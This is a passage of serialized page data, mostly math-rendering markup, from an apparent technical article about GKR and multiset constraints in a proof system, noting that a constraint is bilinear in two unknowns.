3],[119113],{"type":32,"value":21456},{"type":26,"tag":475,"props":119115,"children":119117},{"className":119116},[3746],[119118],{"type":26,"tag":475,"props":119119,"children":119121},{"className":119120,"style":118389},[3751],[119122],{"type":26,"tag":475,"props":119123,"children":119124},{},[],{"type":26,"tag":475,"props":119126,"children":119128},{"className":119127,"style":3801},[3800],[],{"type":26,"tag":475,"props":119130,"children":119132},{"className":119131},[3806],[119133],{"type":32,"value":110741},{"type":26,"tag":475,"props":119135,"children":119137},{"className":119136,"style":3801},[3800],[],{"type":26,"tag":475,"props":119139,"children":119141},{"className":119140},[3708],[119142,119146,119151,119160],{"type":26,"tag":475,"props":119143,"children":119145},{"className":119144,"style":3821},[3713],[],{"type":26,"tag":475,"props":119147,"children":119149},{"className":119148},[21425],[119150],{"type":32,"value":626},{"type":26,"tag":475,"props":119152,"children":119154},{"className":119153},[3719,32],[119155],{"type":26,"tag":475,"props":119156,"children":119158},{"className":119157},[3719],[119159],{"type":32,"value":118429},{"type":26,"tag":475,"props":119161,"children":119163},{"className":119162},[21447],[119164],{"type":32,"value":2835},{"type":26,"tag":35,"props":119166,"children":119167},{},[119168,119170,119339,119340,119509],{"type":32,"value":119169},"If we vary ",{"type":26,"tag":53,"props":119171,"children":119173},{"className":119172},[3691,3692],[119174],{"type":26,"tag":475,"props":119175,"children":119177},{"className":119176},[3697],[119178],{"type":26,"tag":475,"props":119179,"children":119181},{"className":119180,"ariaHidden":3703},[3702],[119182,119260],{"type":26,"tag":475,"props":119183,"children":119185},{"className":119184},[3708],[119186,119190,119247,119251,119256],{"type":26,"tag":475,"props":119187,"children":119189},{"className":119188,"style":109449},[3713],[],{"type":26,"tag":475,"props":119191,"children":119193},{"className":119192},[3719],[119194,119199],{"type":26,"tag":475,"props":119195,"children":119197},{"className":119196},[3719,21296],[119198],{"type":32,"value":18984},{"type":26,"tag":475,"props":119200,"children":119202},{"className":119201},[3736],[119203],{"type":26,"tag":475,"props":119204,"children":119206},{"className":119205},[3741,21350],[119207,119236],{"type":26,"tag":475,"props":119208,"children":119210},{"className":119209},[3746],[119211,119231],{"type":26,"tag":475,"props":119212,"children":119214},{"className":119213,"style":92719},[3751],[119215],{"type":26,"tag":475,"props":119216,"children":119217},{"style":92723},[119218,119222],{"type":26,"tag":475,"props":119219,"children":119221},{"className":119220,"style":3761},[3760],[],{"type":26,"tag":475,"props":119223,"children":119225},{"className":119224},[3766,3767,3768,3769],[119226],{"type":26,"tag":475,"props":119227,"children":119229},{"className":119228},[3719,3769],[119230],{"type":32,"value":3732},{"type":26,"tag":475,"props":119232,"children":119234},{"className":119233},[21453],[119235],{"type":32,"value":21456},{"type":26,"tag":475,"props":119237,"children":119239},{"className":119238},[3746],[119240],{"type":26,"tag":475,"props":119241,"children":119243},{"className":119242,"style":92750},[3751],[119244],{"type":26,"tag":475,"props":119245,"children":119246},{},[],{"type":26,"tag":475,"props":119248,"children":119250},{"className":119249,"style":3898},[3800],[],{"type":26,"tag":475,"props":119252,"children":119254},{"className":119253},[3903],[119255],{"type":32,"value":786},{"type":26,"tag":475,"props":119257,"children":119259},{"className":119258,"style":3898},[3800],[],{"type":26,"tag":475,"props":119261,"children":119263},{"className":119262},[3708],[119264,119268,119309,119314,119319,119324,119329,119334],{"type":26,"tag":475,"props":119265,"children":119267},{"className":119266,"style":92609},[3713],[],{"type":26,"tag":475,"props":119269,"children":119271},{"className":119270},[3719],[119272,119281,119286,119295,119300],{"type":26,"tag":475,"props":119273,"children":119275},{"className":119274},[3719,32],[119276],{"type":26,"tag":475,"props":119277,"children":119279},{"className":119278},[3719],[119280],{"type":32,"value":93486},{"type":26,"tag":475,"props":119282,"children":119284},{"className":119283,"style":92667},[3719],[119285],{"type":32,"value":2789},{"type":26,"tag":475,"props":119287,"children":119289},{"className":119288},[3719,32],[119290],{"type":26,"tag":475,"props":119291,"children":119293},{"className":119292},[3719],[119294],{"type":32,"value":118153},{"type":26,"tag":475,"props":119296,"children":119298},{"className":119297,"style":92667},[3719],[119299],{"type":32,"value":2789},{"type":26,"tag":475,"props":119301,"children":119303},{"className":119302},[3719,32],[119304],{"type":26,"tag":475,"props":119305,"children":119307},{"className":119306},[3719],[119308],{"type":32,"value":118172},{"type":26,"tag":475,"props":119310,"children":119312},{"className":119311},[21425],[119313],{"type":32,"value":3440},{"type":26,"tag":475,"props":119315,"children":119317},{"className":119316},[3719],[119318],{"type":32,"value":3732},{"type":26,"tag":475,"props":119320,"children":119322},{"className":119321},[21447],[119323],{"type":32,"value":15117},{"type":26,"tag":475,"props":119325,"children":119327},{"className":119326},[21425],[119328],{"type":32,"value":3440},{"type":26,"tag":475,"props":119330,"children":119332},{"className":119331},[3719],[119333],{"type":32,"value":3732},{"type":26,"tag":475,"props":119335,"children":119337},{"className":119336},[21447],[119338],{"type":32,"value":15117},{"type":32,"value":209},{"type":26,"tag":53,"props":119341,"children":119343},{"className":119342},[3691,3692],[119344],{"type":26,"tag":475,"props":119345,"children":119347},{"className":119346},[3697],[119348],{"type":26,"tag":475,"props":119349,"children":119351},{"className":119350,"ariaHidden":3703},[3702],[119352,119430],{"type":26,"tag":475,"props":119353,"children":119355},{"className":119354},[3708],[119356,119360,119417,119421,119426],{"type":26,"tag":475,"props":119357,"children":119359},{"className":119358,"style":109449},[3713],[],{"type":26,"tag":475,"props":119361,"children":119363},{"className":119362},[3719],[119364,119369],{"type":26,"tag":475,"props":119365,"children":119367},{"className":119366},[3719,21296],[119368],{"type":32,"value":18984},{"type":26,"tag":475,"props":119370,"children":119372},{"className":119371},[3736],[119373],{"type":26,"tag":475,"props":119374,"children":119376},{"className":119375},[3741,21350],[119377,119406],{"type":26,"tag":475,"props":119378,"children":119380},{"className":119379},[3746],[119381,119401],{"type":26,"tag":475,"props":119382,"children":119384},{"className":119383,"style":92719},[3751],[119385],{"type":26,"tag":475,"props":119386,"children":119387},{"style":92723},[119388,119392],{"type":26,"tag":475,"props":119389,"children":119391},{"className":119390,"style":3761},[3760],[],{"type":26,"tag":475,"props":119393,"children":119395},{"className":119394},[3766,3767,3768,3769],[119396],{"type":26,"tag":475,"props":119397,"children":119399},{"className":119398},[3719,3769],[119400],{"type":32,"value":3722},{"type":26,"tag":475,"props":119402,"children":119404},{"className":119403},[21453],[119405],{"type":32,"value":21456},{"type":26,"tag":475,"props":119407,"children":119409},{"className":119408},[3746],[119410],{"type":26,"tag":475,"props":119411,"children":119413},{"className":119412,"style":92750},[3751],[119414],{"type":26,"tag":475,"props":119415,"children":119416},{},[],{"type":26,"tag":475,"props":119418,"children":119420},{"className":119419,"style":3898},[3800],[],{"type":26,"tag":475,"props":119422,"children":119424},{"className":119423},[3903],[119425],{"type":32,"value":786},{"type":26,"tag":475,"props":119427,"children":119429},{"className":119428,"style":3898},[3800],[],{"type":26,"tag":475,"props":119431,"children":119433},{"className":119432},[3708],[119434,119438,119479,119484,119489,119494,119499,119504],{"type":26,"tag":475,"props":119435,"children":119437},{"className":119436,"style":92609},[3713],[],{"type":26,"tag":475,"props":119439,"children":119441},{"className":119440},[3719],[119442,119451,119456,119465,119470],{"type":26,"tag":475,"props":119443,"children":119445},{"className":119444},[3719,32],[119446],{"type":26,"tag":475,"props":119447,"children":119449},{"className":119448},[3719],[119450],{"type":32,"value":93486},{"type":26,"tag":475,"props":119452,"children":119454},{"className":119453,"style":92667},[3719],[119455],{"type":32,"value":2789},{"type":26,"tag":475,"props":119457,"children":119459},{"className":119458},[3719,32],[119460],{"type":26,"tag":475,"props":119461,"children":119463},{"className":119462},[3719],[119464],{"type":32,"value":118153},{"type":26,"tag":475,"props":119466,"children":119468},{"className":119467,"style":92667},[3719],[119469],{"type":32,"value":2789},{"type":26,"tag":475,"props":119471,"children":119473},{"className":119472},[3719,32],[119474],{"type":26,"tag":475,"props":119475,"children":119477},{"className":119476},[3719],[119478],{"type":32,"value":118172},{"type":26,"tag":475,"props":119480,"children":119482},{"className":119481},[21425],[119483],{"type":32,"value":3440},{"type":26,"tag":475,"props":119485,"children":119487},{"className":119486},[3719],[119488],{"type":32,"value":3732},{"type":26,"tag":475,"props":119490,"children":119492},{"className":119491},[21447],[119493],{"type":32,"value":15117},{"type":26,"tag":475,"props":119495,"children":119497},{"className":119496},[21425],[119498],{"type":32,"value":3440},{"type":26,"tag":475,"props":119500,"children":119502},{"className":119501},[3719],[119503],{"type":32,"value":3722},{"type":26,"tag":475,"props":119505,"children":119507},{"className":119506},[21447],[119508],{"type":32,"value":15117},{"type":32,"value":119510}," we get the following constraint:",{"type":26,"tag":35,"props":119512,"children":119513},{},[119514],{"type":26,"tag":53,"props":119515,"children":119517},{"className":119516},[3691,3692],[119518],{"type":26,"tag":475,"props":119519,"children":119521},{"className":119520},[3697],[119522],{"type":26,"tag":475,"props":119523,"children":119525},{"className":119524,"ariaHidden":3703},[3702],[119526,119605,119683,119724],{"type":26,"tag":475,"props":119527,"children":119529},{"className":119528},[3708],[119530,119535,119592,119596,119601],{"type":26,"tag":475,"props":119531,"children":119534},{"className":119532,"style":119533},[3713],"height:0.5945em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":119536,"children":119538},{"className":119537},[3719],[119539,119544],{"type":26,"tag":475,"props":119540,"children":119542},{"className":119541},[3719,21296],[119543],{"type":32,"value":18984},{"type":26,"tag":475,"props":119545,"children":119547},{"className":119546},[3736],[119548],{"type":26,"tag":475,"props":119549,"children":119551},{"className":119550},[3741,21350],[119552,119581],{"type":26,"tag":475,"props":119553,"children":119555},{"className":119554},[3746],[119556,119576],{"type":26,"tag":475,"props":119557,"children":119559},{"className":119558,"style":92719},[3751],[119560],{"type":26,"tag":475,"props":119561,"children":119562},{"style":92723},[119563,119567],{"type":26,"tag":475,"props":119564,"children":119566},{"className":119565,"style":3761},[3760],[],{"type":26,"tag":475,"props":119568,"children":119570},{"className":119569},[3766,3767,3768,3769],[119571],{"type":26,"tag":475,"props":119572,"children":119574},{"className":119573},[3719,3769],[119575],{"type":32,"value":3732},{"type":26,"tag":475,"props":119577,"children":119579},{"className":119578},[21453],[119580],{"type":32,"value":21456},{"type":26,"tag":475,"props":119582,"children":119584},{"className":119583},[3746],[119585],{"type":26,"tag":475,"props":119586,"children":119588},{"className":119587,"style":92750},[3751],[119589],{"type":26,"tag":475,"props":119590,"children":119591},{},[],{"type":26,"tag":475,"props":119593,"children":119595},{"className":119594,"style":3801},[3800],[],{"type":26,"tag":475,"props":119597,"children":119599},{"className":119598},[3806],[119600],{"type":32,"value":110741},{"type":26,"tag":475,"props":119602,"children":119604},{"className":119603,"style":3801},[3800],[],{"type":26,"tag":475,"props":119606,"children":119608},{"className":119607},[3708],[119609,119613,119670,119674,119679],{"type":26,"tag":475,"props":119610,"children":119612},{"className":119611,"style":119533},[3713],[],{"type":26,"tag":475,"props":119614,"children":119616},{"className":119615},[3719],[119617,119622],{"type":26,"tag":475,"props":119618,"children":119620},{"className":119619},[3719,21296],[119621],{"type":32,"value":18984},{"type":26,"tag":475,"props":119623,"children":119625},{"className":119624},[3736],[119626],{"type":26,"tag":475,"props":119627,"children":119629},{"className":119628},[3741,21350],[119630,119659],{"type":26,"tag":475,"props":119631,"children":119633},{"className":119632},[3746],[119634,119654],{"type":26,"tag":475,"props":119635,"children":119637},{"className":119636,"style":92719},[3751],[119638],{"type":26,"tag":475,"props":119639,"children":119640},{"style":92723},[119641,119645],{"type":26,"tag":475,"props":119642,"children":119644},{"className":119643,"style":3761},[3760],[],{"type":26,"tag":475,"props":119646,"children":119648},{"className":119647},[3766,3767,3768,3769],[119649],{"type":26,"tag":475,"props":119650,"children":119652},{"className":119651},[3719,3769],[119653],{"type":32,"value":3722},{"type":26,"tag":475,"props":119655,"children":119657},{"className":119656},[21453],[119658],{"type":32,"value":21456},{"type":26,"tag":475,"props":119660,"children":119662},{"className":119661},[3746],[119663],{"type":26,"tag":475,"props":119664,"children":119666},{"className":119665,"style":92750},[3751],[119667],{"type":26,"tag":475,"props":119668,"children":119669},{},[],{"type":26,"tag":475,"props":119671,"children":119673},{"className":119672,"style":3801},[3800],[],{"type":26,"tag":475,"props":119675,"children":119677},{"className":119676},[3806],[119678],{"type":32,"value":110741},{"type":26,"tag":475,"props":119680,"children":119682},{"className":119681,"style":3801},[3800],[],{"type":26,"tag":475,"props":119684,"children":119686},{"className":119685},[3708],[119687,119691,119696,119706,119711,119715,119720],{"type":26,"tag":475,"props":119688,"children":119690},{"className":119689,"style":3821},[3713],[],{"type":26,"tag":475,"props":119692,"children":119694},{"className":119693},[21425],[119695],{"type":32,"value":626},{"type":26,"tag":475,"props":119697,"children":119699},{"className":119698},[3719,32],[119700],{"type":26,"tag":475,"props":119701,"children":119703},{"className":119702},[3719],[119704],{"type":32,"value":119705},"rest of product",{"type":26,"tag":475,"props":119707,"children":119709},{"className":119708},[21447],[119710],{"type":32,"value":2835},{"type":26,"tag":475,"props":119712,"children":119714},{"className":119713,"style":3898},[3800],[],{"type":26,"tag":475,"props":119716,"children":119718},{"className":119717},[3903],[119719],{"type":32,"value":786},{"type":26,"tag":475,"props":119721,"children":119723},{"className":119722,"style":3898},[3800],[],{"type":26,"tag":475,"props":119725,"children":119727},{"className":119726},[3708],[119728,119732],{"type":26,"tag":475,"props":119729,"children":119731},{"className":119730,"style":114499},[3713],[],{"type":26,"tag":475,"props":119733,"children":119735},{"className":119734},[3719,32],[119736],{"type":26,"tag":475,"props":119737,"children":119739},{"className":119738},[3719],[119740],{"type":32,"value":114510},{"type":26,"tag":35,"props":119742,"children":119743},{},[119744,119746,119899],{"type":32,"value":119745},"This is bilinear in ",{"type":26,"tag":53,"props":119747,"children":119749},{"className":119748},[3691,3692],[119750],{"type":26,"tag":475,"props":119751,"children":119753},{"className":119752},[3697],[119754],{"type":26,"tag":475,"props":119755,"children":119757},{"className":119756,"ariaHidden":3703},[3702],[119758],{"type":26,"tag":475,"props":119759,"children":119761},{"className":119760},[3708],[119762,119766,119771,119828,119833,119837,119894],{"type":26,"tag":475,"props":119763,"children":119765},{"className":119764,"style":3821},[3713],[],{"type":26,"tag":475,"props":119767,"children":119769},{"className":119768},[21425],[119770],{"type":32,"value":626},{"type":26,"tag":475,"props":119772,"children":119774},{"className":119773},[3719],[119775,119780],{"type":26,"tag":475,"props":119776,"children":119778},{"className":119777},[3719,21296],[119779],{"type":32,"value":18984},{"type":26,"tag":475,"props":119781,"children":119783},{"className":119782},[3736],[119784],{"type":26,"tag":475,"props":119785,"children":119787},{"className":119786},[3741,21350],[119788,119817],{"type":26,"tag":475,"props":119789,"children":119791},{"className":119790},[3746],[119792,119812],{"type":26,"tag":475,"props":119793,"children":119795},{"className":119794,"style":92719},[3751],[119796],{"type":26,"tag":475,"props":119797,"children":119798},{"style":92723},[119799,119803],{"type":26,"tag":475,"props":119800,"children":119802},{"className":119801,"style":3761},[3760],[],{"type":26,"tag":475,"props":119804,"children":119806},{"className":119805},[3766,3767,3768,3769],[119807],{"type":26,"tag":475,"props":119808,"children":119810},{"className":119809},[3719,3769],[119811],{"type":32,"value":3732},{"type":26,"tag":475,"props":119813,"children":119815},{"className":119814},[21453],[119816],{"type":32,"value":21456},{"type":26,"tag":475,"props":119818,"children":119820},{"className":119819},[3746],[119821],{"type":26,"tag":475,"props":119822,"children":119824},{"className":119823,"style":92750},[3751],[119825],{"type":26,"tag":475,"props":119826,"children":119827},{},[],{"type":26,"tag":475,"props":119829,"children":119831},{"className":119830},[3832],[119832],{"type":32,"value":3835},{"type":26,"tag":475,"props":119834,"children":119836},{"className":119835,"style":3839},[3800],[],{"type":26,"tag":475,"props":119838,"children":119840},{"className":119839},[3719],[119841,119846],{"type":26,"tag":475,"props":119842,"children":119844},{"className":119843},[3719,21296],[119845],{"type":32,"value":18984},{"type":26,"tag":475,"props":119847,"children":119849},{"className":119848},[3736],[119850],{"type":26,"tag":475,"props":119851,"children":119853},{"className":119852},[3741,21350],[119854,119883],{"type":26,"tag":475,"props":119855,"children":119857},{"className":119856},[3746],[119858,119878],{"type":26,"tag":475,"props":119859,"children":119861},{"className":119860,"style":92719},[3751],[119862],{"type":26,"tag":475,"props":119863,"children":119864},{"style":92723},[119865,119869],{"type":26,"tag":475,"props":119866,"children":119868},{"className":119867,"style":3761},[3760],[],{"type":26,"tag":475,"props":119870,"children":119872},{"className":119871},[3766,3767,3768,3769],[119873],{"type":26,"tag":475,"props":119874,"children":119876},{"className":119875},[3719,3769],[119877],{"type":32,"value":3722},{"type":26,"tag":475,"props":119879,"children":119881},{"className":119880},[21453],[119882],{"type":32,"value":21456},{"type":26,"tag":475,"props":119884,"children":119886},{"className":119885},[3746],[119887],{"type":26,"tag":475,"props":119888,"children":119890},{"className":119889,"style":92750},[3751],[119891],{"type":26,"tag":475,"props":119892,"children":119893},{},[],{"type":26,"tag":475,"props":119895,"children":119897},{"className":119896},[21447],[119898],{"type":32,"value":2835},{"type":32,"value":353},{"type":26,"tag":35,"props":119901,"children":119902},{},[119903,119905,120058],{"type":32,"value":119904},"We have two unknowns ",{"type":26,"tag":53,"props":119906,"children":119908},{"className":119907},[3691,3692],[119909],{"type":26,"tag":475,"props":119910,"children":119912},{"className":119911},[3697],[119913],{"type":26,"tag":475,"props":119914,"children":119916},{"className":119915,"ariaHidden":3703},[3702],[119917],{"type":26,"tag":475,"props":119918,"children":119920},{"className":119919},[3708],[119921,119925,119930,119987,119992,119996,120053],{"type":26,"tag":475,"props":119922,"children":119924},{"className":119923,"style":3821},[3713],[],{"type":26,"tag":475,"props":119926,"children":119928},{"className":119927},[21425],[119929],{"type":32,"value":626},{"type":26,"tag":475,"props":119931,"children":119933},{"className":119932},[3719],[119934,119939],{"type":26,"tag":475,"props":119935,"children":119937},{"className":119936},[3719,21296],[119938],{"type":32,"value":18984},{"type":26,"tag":475,"props":119940,"children":119942},{"className":119941},[3736],[119943],{"type":26,"tag":475,"props":119944,"children":119946},{"className":119945},[3741,21350],[119947,119976],{"type":26,"tag":475,"props":119948,"children":119950},{"className":119949},[3746],[119951,119971],{"type":26,"tag":475,"props":119952,"children":119954},{"className":119953,"style":92719},[3751],[119955],{"type":26,"tag":475,"props":119956,"children":119957},{"style":92723},[119958,119962],{"type":26,"tag":475,"props":119959,"children":119961},{"className":119960,"style":3761},[3760],[],{"type":26,"tag":475,"props":119963,"children":119965},{"className":119964},[3766,3767,3768,3769],[119966],{"type":26,"tag":475,"props":119967,"children":119969},{"className":119968},[3719,3769],[119970],{"type":32,"value":3732},{"type":26,"tag":475,"props":119972,"children":119974},{"className":119973},[21453],[119975],{"type":32,"value":21456},{"type":26,"tag":475,"props":119977,"children":119979},{"className":119978},[3746],[119980],{"type":26,"tag":475,"props":119981,"children":119983},{"className":119982,"style":92750},[3751],[119984],{"type":26,"tag":475,"props":119985,"children":119986},{},[],{"type":26,"tag":475,"props":119988,"children":119990},{"className":119989},[3832],[119991],{"type":32,"value":3835},{"type":26,"tag":475,"props":119993,"children":119995},{"className":119994,"style":3839},[3800],[],{"type":26,"tag":475,"props":119997,"children":119999},{"className":119998},[3719],[120000,120005],{"type":26,"tag":475,"props":120001,"children":120003},{"className":120002},[3719,21296],[120004],{"type":32,"value":18984},{"type":26,"tag":475,"props":120006,"children":120008},{"className":120007},[3736],[120009],{"type":26,"tag":475,"props":120010,"children":120012},{"className":120011},[3741,21350],[120013,120042],{"type":26,"tag":475,"props":120014,"children":120016},{"className":120015},[3746],[120017,120037],{"type":26,"tag":475,"props":120018,"children":120020},{"className":120019,"style":92719},[3751],[120021],{"type":26,"tag":475,"props":120022,"children":120023},{"style":92723},[120024,120028],{"type":26,"tag":475,"props":120025,"children":120027},{"className":120026,"style":3761},[3760],[],{"type":26,"tag":475,"props":120029,"children":120031},{"className":120030},[3766,3767,3768,3769],[120032],{"type":26,"tag":475,"props":120033,"children":120035},{"className":120034},[3719,3769],[120036],{"type":32,"value":3722},{"type":26,"tag":475,"props":120038,"children":120040},{"className":120039},[21453],[120041],{"type":32,"value":21456},{"type":26,"tag":475,"props":120043,"children":120045},{"className":120044},[3746],[120046],{"type":26,"tag":475,"props":120047,"children":120049},{"className":120048,"style":92750},[3751],[120050],{"type":26,"tag":475,"props":120051,"children":120052},{},[],{"type":26,"tag":475,"props":120054,"children":120056},{"className":120055},[21447],[120057],{"type":32,"value":2835},{"type":32,"value":120059}," and two equations, one linear and one bilinear:",{"type":26,"tag":181,"props":120061,"children":120062},{},[120063,120390],{"type":26,"tag":86,"props":120064,"children":120065},{},[120066,120068],{"type":32,"value":120067},"Linear (from GKR): ",{"type":26,"tag":53,"props":120069,"children":120071},{"className":120070},[3691,3692],[120072],{"type":26,"tag":475,"props":120073,"children":120075},{"className":120074},[3697],[120076],{"type":26,"tag":475,"props":120077,"children":120079},{"className":120078,"ariaHidden":3703},[3702],[120080,120216,120351,120377],{"type":26,"tag":475,"props":120081,"children":120083},{"className":120082},[3708],[120084,120089,120146,120203,120207,120212],{"type":26,"tag":475,"props":120085,"children":120088},{"className":120086,"style":120087},[3713],"height:0.7333em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":120090,"children":120092},{"className":120091},[3719],[120093,120098],{"type":26,"tag":475,"props":120094,"children":120096},{"className":120095},[3719,21296],[120097],{"type":32,"value":116},{"type":26,"tag":475,"props":120099,"children":120101},{"className":120100},[3736],[120102],{"type":26,"tag":475,"props":120103,"children":120105},{"className":120104},[3741,21350],[120106,120135],{"type":26,"tag":475,"props":120107,"children":120109},{"className":120108},[3746],[120110,120130],{"type":26,"tag":475,"props":120111,"children":120113},{"className":120112,"style":92719},[3751],[120114],{"type":26,"tag":475,"props":120115,"children":120116},{"style":92723},[120117,120121],{"type":26,"tag":475,"props":120118,"children":120120},{"className":120119,"style":3761},[3760],[],{"type":26,"tag":475,"props":120122,"children":120124},{"className":120123},[3766,3767,3768,3769],[120125],{"type":26,"tag":475,"props":120126,"children":120128},{"className":120127},[3719,3769],[120129],{"type":32,"value":3732},{"type":26,"tag":475,"props":120131,"children":120133},{"className":120132},[21453],[120134],{"type":32,"value":21456},{"type":26,"tag":475,"props":120136,"children":120138},{"className":120137},[3746],[120139],{"type":26,"tag":475,"props":120140,"children":120142},{"className":120141,"style":92750},[3751],[120143],{"type":26,"tag":475,"props":120144,"children":120145},{},[],{"type":26,"tag":475,"props":120147,"children":120149},{"className":120148},[3719],[120150,120155],{"type":26,"tag":475,"props":120151,"children":120153},{"className":120152},[3719,21296],[120154],{"type":32,"value":18984},{"type":26,"tag":475,"props":120156,"children":120158},{"className":120157},[3736],[120159],{"type":26,"tag":475,"props":120160,"children":120162},{"className":120161},[3741,21350],[120163,120192],{"type":26,"tag":475,"props":120164,"children":120166},{"className":120165},[3746],[120167,120187],{"type":26,"tag":475,"props":120168,"children":120170},{"className":120169,"style":92719},[3751],[120171],{"type":26,"tag":475,"props":120172,"children":120173},{"style":92723},[120174,120178],{"type":26,"tag":475,"props":120175,"children":120177},{"className":120176,"style":3761},[3760],[],{"type":26,"tag":475,"props":120179,"children":120181},{"className":120180},[3766,3767,3768,3769],[120182],{"type":26,"tag":475,"props":120183,"children":120185},{"className":120184},[3719,3769],[120186],{"type":32,"value":3732},{"type":26,"tag":475,"props":120188,"children":120190},{"className":120189},[21453],[120191],{"type":32,"value":21456},{"type":26,"tag":475,"props":120193,"children":120195},{"className":120194},[3746],[120196],{"type":26,"tag":475,"props":120197,"children":120199},{"className":120198,"style":92750},[3751],[120200],{"type":26,"tag":475,"props":120201,"children":120202},{},[],{"type":26,"tag":475,"props":120204,"children":120206},{"className":120205,"style":3801},[3800],[],{"type":26,"tag":475,"props":120208,"children":120210},{"className":120209},[3806],[120211],{"type":32,"value":1106},{"type":26,"tag":475,"props":120213,"children":120215},{"className":120214,"style":3801},[3800],[],{"type":26,"tag":475,"props":120217,"children":120219},{"className":120218},[3708],[120220,120224,120281,120338,120342,120347],{"type":26,"tag":475,"props":120221,"children":120223},{"className":120222,"style":120087},[3713],[],{"type":26,"tag":475,"props":120225,"children":120227},{"className":120226},[3719],[120228,120233],{"type":26,"tag":475,"props":120229,"children":120231},{"className":120230},[3719,21296],[120232],{"type":32,"value":116},{"type":26,"tag":475,"props":120234,"children":120236},{"className":120235},[3736],[120237],{"type":26,"tag":475,"props":120238,"children":120240},{"className":120239},[3741,21350],[120241,120270],{"type":26,"tag":475,"props":120242,"children":120244},{"className":120243},[3746],[120245,120265],{"type":26,"tag":475,"props":120246,"children":120248},{"className":120247,"style":92719},[3751],[120249],{"type":26,"tag":475,"props":120250,"children":120251},{"style":92723},[120252,120256],{"type":26,"tag":475,"props":120253,"children":120255},{"className":120254,"style":3761},[3760],[],{"type":26,"tag":475,"props":120257,"children":120259},{"className":120258},[3766,3767,3768,3769],[120260],{"type":26,"tag":475,"props":120261,"children":120263},{"className":120262},[3719,3769],[120264],{"type":32,"value":3722},{"type":26,"tag":475,"props":120266,"children":120268},{"className":120267},[21453],[120269],{"type":32,"value":21456},{"type":26,"tag":475,"props":120271,"children":120273},{"className":120272},[3746],[120274],{"type":26,"tag":475,"props":120275,"children":120277},{"className":120276,"style":92750},[3751],[120278],{"type":26,"tag":475,"props":120279,"children":120280},{},[],{"type":26,"tag":475,"props":120282,"children":120284},{"className":120283},[3719],[120285,120290],{"type":26,"tag":475,"props":120286,"children":120288},{"className":120287},[3719,21296],[120289],{"type":32,"value":18984},{"type":26,"tag":475,"props":120291,"children":120293},{"className":120292},[3736],[120294],{"type":26,"tag":475,"props":120295,"children":120297},{"className":120296},[3741,21350],[120298,120327],{"type":26,"tag":475,"props":120299,"children":120301},{"className":120300},[3746],[120302,120322],{"type":26,"tag":475,"props":120303,"children":120305},{"className":120304,"style":92719},[3751],[120306],{"type":26,"tag":475,"props":120307,"children":120308},{"style":92723},[120309,120313],{"type":26,"tag":475,"props":120310,"children":120312},{"className":120311,"style":3761},[3760],[],{"type":26,"tag":475,"props":120314,"children":120316},{"className":120315},[3766,3767,3768,3769],[120317],{"type":26,"tag":475,"props":120318,"children":120320},{"className":120319},[3719,3769],[120321],{"type":32,"value":3722},{"type":26,"tag":475,"props":120323,"children":120325},{"className":120324},[21453],[120326],{"type":32,"value":21456},{"type":26,"tag":475,"props":120328,"children":120330},{"className":120329},[3746],[120331],{"type":26,"tag":475,"props":120332,"children":120334},{"className":120333,"style":92750},[3751],[120335],{"type":26,"tag":475,"props":120336,"children":120337},{},[],{"type":26,"tag":475,"props":120339,"children":120341},{"className":120340,"style":3801},[3800],[],{"type":26,"tag":475,"props":120343,"children":120345},{"className":120344},[3806],[120346],{"type":32,"value":1106},{"type":26,"tag":475,"props":120348,"children":120350},{"className":120349,"style":3801},[3800],[],{"type":26,"tag":475,"props":120352,"children":120354},{"className":120353},[3708],[120355,120359,120364,120368,120373],{"type":26,"tag":475,"props":120356,"children":120358},{"className":120357,"style":110320},[3713],[],{"type":26,"tag":475,"props":120360,"children":120362},{"className":120361},[3719,21296],[120363],{"type":32,"value":2854},{"type":26,"tag":475,"props":120365,"children":120367},{"className":120366,"style":3898},[3800],[],{"type":26,"tag":475,"props":120369,"children":120371},{"className":120370},[3903],[120372],{"type":32,"value":786},{"type":26,"tag":475,"props":120374,"children":120376},{"className":120375,"style":3898},[3800],[],{"type":26,"tag":475,"props":120378,"children":120380},{"className":120379},[3708],[120381,120385],{"type":26,"tag":475,"props":120382,"children":120384},{"className":120383,"style":93698},[3713],[],{"type":26,"tag":475,"props":120386,"children":120388},{"className":120387},[3719],[120389],{"type":32,"value":3732},{"type":26,"tag":86,"props":120391,"children":120392},{},[120393,120395],{"type":32,"value":120394},"Bilinear (from multiset): ",{"type":26,"tag":53,"props":120396,"children":120398},{"className":120397},[3691,3692],[120399],{"type":26,"tag":475,"props":120400,"children":120402},{"className":120401},[3697],[120403],{"type":26,"tag":475,"props":120404,"children":120406},{"className":120405,"ariaHidden":3703},[3702],[120407,120433,120511,120589,120615],{"type":26,"tag":475,"props":120408,"children":120410},{"className":120409},[3708],[120411,120415,120420,120424,120429],{"type":26,"tag":475,"props":120412,"children":120414},{"className":120413,"style":92582},[3713],[],{"type":26,"tag":475,"props":120416,"children":120418},{"className":120417,"style":94096},[3719,21296],[120419],{"type":32,"value":88304},{"type":26,"tag":475,"props":120421,"children":120423},{"className":120422,"style":3801},[3800],[],{"type":26,"tag":475,"props":120425,"children":120427},{"className":120426},[3806],[120428],{"type":32,"value":110741},{"type":26,"tag":475,"props":120430,"children":120432},{"className":120431,"style":3801},[3800],[],{"type":26,"tag":475,"props":120434,"children":120436},{"className":120435},[3708],[120437,120441,120498,120502,120507],{"type":26,"tag":475,"props":120438,"children":120440},{"className":120439,"style":119533},[3713],[],{"type":26,"tag":475,"props":120442,"children":120444},{"className":120443},[3719],[120445,120450],{"type":26,"tag":475,"props":120446,"children":120448},{"className":120447},[3719,21296],[120449],{"type":32,"value":18984},{"type":26,"tag":475,"props":120451,"children":120453},{"className":120452},[3736],[120454],{"type":26,"tag":475,"props":120455,"children":120457},{"className":120456},[3741,21350],[120458,120487],{"type":26,"tag":475,"props":120459,"children":120461},{"className":120460},[3746],[120462,120482],{"type":26,"tag":475,"props":120463,"children":120465},{"className":120464,"style":92719},[3751],[120466],{"type":26,"tag":475,"props":120467,"children":120468},{"style":92723},[120469,120473],{"type":26,"tag":475,"props":120470,"children":120472},{"className":120471,"style":3761},[3760],[],{"type":26,"tag":475,"props":120474,"children":120476},{"className":120475},[3766,3767,3768,3769],[120477],{"type":26,"tag":475,"props":120478,"children":120480},{"className":120479},[3719,3769],[120481],{"type":32,"value":3732},{"type":26,"tag":475,"props":120483,"children":120485},{"className":120484},[21453],[120486],{"type":32,"value":21456},{"type":26,"tag":475,"props":120488,"children":120490},{"className":120489},[3746],[120491],{"type":26,"tag":475,"props":120492,"children":120494},{"className":120493,"